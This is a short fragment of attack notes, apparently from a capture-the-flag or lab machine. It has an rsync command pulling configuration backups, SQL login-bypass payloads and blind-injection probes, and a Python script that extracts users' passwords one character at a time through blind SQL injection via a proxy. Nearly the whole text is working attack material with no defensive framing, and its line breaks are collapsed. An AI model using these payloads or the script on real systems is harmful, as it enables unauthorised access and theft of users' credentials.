sudo -rdt rsync://10.10.10.200/conf_backups ./xx文件夹

SELECT FROM users WHERE Username='$Username' AND Password='$Password'

SELECT FROM users WHERE Username=''or'='or'' AND Password=''or'='or''

SELECT FROM users WHERE Username='' AND Password='' OR Password LIKE 'a%'SELECT FROM users WHERE Username='' AND Password='' OR substring(Password,1,1)='a'

#!/usr/bin/python3# -*- coding: utf-8 -*- import stringfrom bs4 import BeautifulSoupimport requests users = ["rita", "jim", "bryan", "sarah"]  for user in users:    print(f"{user}: ", end="", flush=True)    for i in range(1, 31):        for c in string.printable[:94]:            print(c, end="", flush=True)            r = requests.post("http://172.31.179.1/intranet.php",                              data={"Username": "nobody",                                    "Password": f"' or substring(Password,{i},1)='{c}"},                              proxies={"http": "http://10.10.10.200:3128"})            soup = BeautifulSoup(r.text, "html.parser")            if d := soup.find("div", {"class": "m4"}):                if [p for p in d.find_all("p", {"class": "w3-opacity"}) if p.text.strip() == user]:                    break            print("\b", end="", flush=True)        else:            print(" ")            break